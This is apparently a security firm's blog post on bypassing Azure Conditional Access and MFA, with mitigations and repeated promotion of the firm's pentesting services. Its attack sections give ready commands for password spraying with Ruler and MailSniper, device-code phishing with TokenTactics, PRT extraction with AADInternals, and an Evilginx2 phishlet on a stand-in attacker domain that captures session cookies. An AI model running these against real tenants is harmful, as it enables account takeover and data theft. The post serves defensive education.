Azure Conditional Access is Microsoft's gatekeeper for cloud identity security. It sits between your users and your resources, enforcing policies based on signals like user location, device compliance, and risk scores. On paper, it sounds airtight. In practice, red teamers and adversaries have repeatedly demonstrated that misconfigured or incomplete Conditional Access policies can be bypassed with surprising ease.
This blog breaks down the most relevant techniques attackers use to circumvent Azure Conditional Access and evade Multi-Factor Authentication (MFA), complete with the tooling and commands that make these attacks possible. If you are responsible for securing an Azure environment, understanding these methods is not optional.
If your organization needs a hands-on evaluation of your Azure identity posture, the team at Redfox Cybersecurity offers professional cloud pentesting services purpose-built for environments like yours.
Conditional Access policies are only as strong as their configuration. Microsoft provides a powerful framework, but it is on administrators to implement it correctly. The most common failure modes include:
Each of these gaps is a potential entry point. Attackers do not need to break encryption or exploit a zero-day. They just need to find the weakest link in your policy chain.
One of the most exploited gaps in Azure Conditional Access is the persistence of legacy authentication protocols. Protocols such as SMTP, IMAP, POP3, and older Office clients do not support modern authentication and therefore cannot process MFA challenges. If your Conditional Access policy does not explicitly block legacy authentication, attackers can use these protocols to authenticate without triggering MFA.
Using tools like Ruler or MailSniper, attackers can spray credentials over legacy protocols directly against Exchange Online:
ruler --domain targetdomain.com brute --users users.txt --passwords passwords.txt --verbose
Or with MailSniper for IMAP-based enumeration:
Invoke-PasswordSprayOWA -ExchHostname mail.targetdomain.com -UserList .\users.txt -Password 'Winter2024!'
These attacks bypass MFA entirely because the authentication path never invokes a Conditional Access policy that requires it.
The fix: Create a Conditional Access policy that blocks all legacy authentication clients. Under "Cloud apps or actions," select "All cloud apps." Under "Conditions," set "Client apps" to include Exchange ActiveSync clients and other legacy clients, then block access.
The OAuth 2.0 Device Authorization Grant (device code flow) is designed for input-constrained devices. It allows a user to authenticate on a separate device by visiting a URL and entering a code. Attackers have weaponized this flow in phishing campaigns because the victim completes the authentication on a legitimate Microsoft page, MFA is satisfied, and the attacker receives a fully authenticated token.
The tool TokenTactics (originally by Bobby Cooke, updated by various researchers) automates this attack:
Import-Module .\TokenTactics.ps1
Get-AzureToken -Client MSGraph
This initiates a device code flow. The attacker sends the code to the victim. Once the victim authenticates, the attacker captures a refresh token valid for the scopes granted, often including access to Microsoft Graph, SharePoint, and Exchange.
What makes this particularly dangerous is that Conditional Access policies frequently do not restrict device code flow unless specifically configured. The token obtained is legitimate from Microsoft's perspective.
Detection note: Monitor for device code flow sign-in events in Azure AD sign-in logs. Look for DeviceCodeFlow in the authentication details.
Redfox Cybersecurity routinely tests for device code flow vulnerabilities as part of its red team and penetration testing engagements. Organizations are often surprised to find this vector wide open.
The Primary Refresh Token is one of the most valuable artifacts on a Windows device joined to Azure AD. It is used to silently acquire access tokens for cloud resources without requiring MFA for each resource. If an attacker can extract the PRT from a compromised device, they can impersonate the user across all cloud applications the user is entitled to access.
ROADtoken and AADInternals are two tools frequently used for this purpose:
Using AADInternals to export and use a PRT:
Import-Module AADInternals
$prt = Get-AADIntUserPRTToken
Invoke-AADIntDeviceCodeFlow -PRTToken $prt
Once the PRT is in hand, the attacker can forge a cookie that bypasses Conditional Access entirely because the session already satisfies device compliance and MFA requirements from the original login context.
This technique is what Microsoft refers to as a Pass-the-PRT attack. It is devastating because the attacker is not bypassing MFA; they are reusing a session that already satisfied it.
Evilginx2 is a man-in-the-middle attack framework that proxies authentication between the victim and a legitimate service. When the victim authenticates and completes MFA on what appears to be a legitimate Microsoft login page, Evilginx captures the session cookie. The attacker then replays this cookie to access the victim's account, bypassing MFA because the cookie was issued after a legitimate MFA event.
Setting up a Microsoft 365 phishlet with Evilginx2:
evilginx2 -p ./phishlets
phishlets hostname o365 login.attacker-domain.com
phishlets enable o365
lures create o365
lures get-url 0
The resulting URL is sent to the victim. Once they authenticate, the captured session cookie is available in the Evilginx dashboard and can be imported directly into a browser to access the victim's Microsoft 365 environment.
No MFA prompt will appear for the attacker. The session is fully authenticated.
Mitigation: Microsoft's Entra ID now supports phishing-resistant MFA using FIDO2 security keys and Certificate-Based Authentication. These credentials are bound to the origin domain and cannot be replayed from a different domain. Enforcing phishing-resistant MFA via Conditional Access is one of the most effective defenses against this class of attack.
Many organizations configure Conditional Access to trust corporate IP ranges or named locations. Attackers who have obtained valid credentials can route their traffic through residential proxy networks or VPN exit nodes that fall within trusted ranges. This is especially relevant when organizations incorrectly trust broad IP ranges like entire ISP netblocks.
Tools like ProxyChains combined with commercially available residential proxy services allow attackers to appear as if they are connecting from a trusted location:
proxychains python3 sprayrequest.py --target login.microsoftonline.com --user victim@targetdomain.com --password CorrectPassword1
This is less a technical bypass and more a policy architecture failure. Named location policies based on IP address alone are insufficient. Device compliance and user risk signals must be layered on top.
A frequently overlooked attack surface is workload identities: service principals and managed identities. Conditional Access policies traditionally applied only to user accounts. Microsoft has introduced Conditional Access for workload identities, but it requires a separate license (Microsoft Entra Workload ID Premium) and must be explicitly configured.
Attackers who compromise a service principal client secret or certificate can authenticate as that principal with no MFA requirement whatsoever:
$ClientID = "your-client-id"
$ClientSecret = "your-client-secret"
$TenantID = "your-tenant-id"
$Body = @{
Grant_Type = "client_credentials"
Scope = "https://graph.microsoft.com/.default"
Client_Id = $ClientID
Client_Secret = $ClientSecret
}
$TokenResponse = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$TenantID/oauth2/v2.0/token" -Method POST -Body $Body
$AccessToken = $TokenResponse.access_token
With this token, an attacker can query Microsoft Graph for users, groups, email, files, and more, depending on the permissions granted to the service principal.
Redfox Cybersecurity's cloud security assessment services include a full audit of service principal permissions and Conditional Access coverage gaps, giving you visibility into exactly where your workload identities are exposed.
Before you can fix gaps, you need to know they exist. Microsoft provides a built-in tool called the Conditional Access What If tool, available in the Entra ID portal. It allows you to simulate a sign-in scenario and determine which policies apply.
From a command-line perspective, you can enumerate existing policies using the Microsoft Graph API:
Connect-MgGraph -Scopes "Policy.Read.All"
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, State, Conditions, GrantControls | Format-List
Review the output for any policies in "Report-only" mode that should be enforced, any policies with broad exclusions, and cloud apps that are not covered by any policy.
The single most impactful change most organizations can make is enforcing phishing-resistant MFA using FIDO2 keys or Windows Hello for Business. Configure this via a Conditional Access policy with the grant control set to "Require authentication strength" and select "Phishing-resistant MFA."
# Using Graph API to create a policy requiring phishing-resistant MFA
$policy = @{
displayName = "Require Phishing-Resistant MFA"
state = "enabled"
conditions = @{
users = @{ includeUsers = @("All") }
applications = @{ includeApplications = @("All") }
}
grantControls = @{
operator = "OR"
authenticationStrength = @{
id = "00000000-0000-0000-0000-000000000002" # Phishing-resistant MFA
}
}
}
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" -Body ($policy | ConvertTo-Json -Depth 10)
Enable Continuous Access Evaluation (CAE) across your tenant. CAE allows Azure AD to revoke sessions in near-real-time when risk signals are detected, such as a user's location changing suddenly or their account being disabled. This significantly reduces the window of opportunity for token replay attacks.
CAE is automatically enabled for supported applications but should be verified and enforced where possible through Conditional Access policies with session controls requiring "Sign-in frequency" set to "Every time" for high-risk users.
Reading about attack techniques and implementing mitigations are two different things. Organizations consistently overestimate the strength of their Conditional Access configurations. Policy sprawl, legacy exclusions, and undocumented service accounts are endemic to mature Azure tenants.
A professional red team engagement goes beyond automated scanning. It simulates a real attacker's methodology: enumerating your tenant, testing each authentication path, attempting token theft, abusing legacy protocols, and mapping the blast radius of a compromised identity.
Redfox Cybersecurity specializes in adversarial simulation for cloud environments. Their team conducts structured assessments that identify not just misconfigured Conditional Access policies, but the downstream impact of each gap. The result is a prioritized remediation roadmap you can act on immediately.
If you are serious about securing your Azure environment, engage the Redfox Cybersecurity team for a cloud penetration test tailored to your environment and threat model.
Azure Conditional Access is a powerful control, but it requires deliberate, layered configuration to be effective. Legacy authentication, device code flow, PRT theft, adversary-in-the-middle phishing, and service principal abuse are all real attack vectors being used against organizations today.
The organizations that fare best are those that treat identity security as a continuous process, not a one-time configuration exercise. That means regular policy reviews, red team testing, audit log monitoring, and a commitment to enforcing phishing-resistant authentication where it matters most.
Your Conditional Access policies may look complete on paper. A skilled attacker will show you where the gaps actually are before your adversaries do. That is the value of working with a team like Redfox Cybersecurity.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
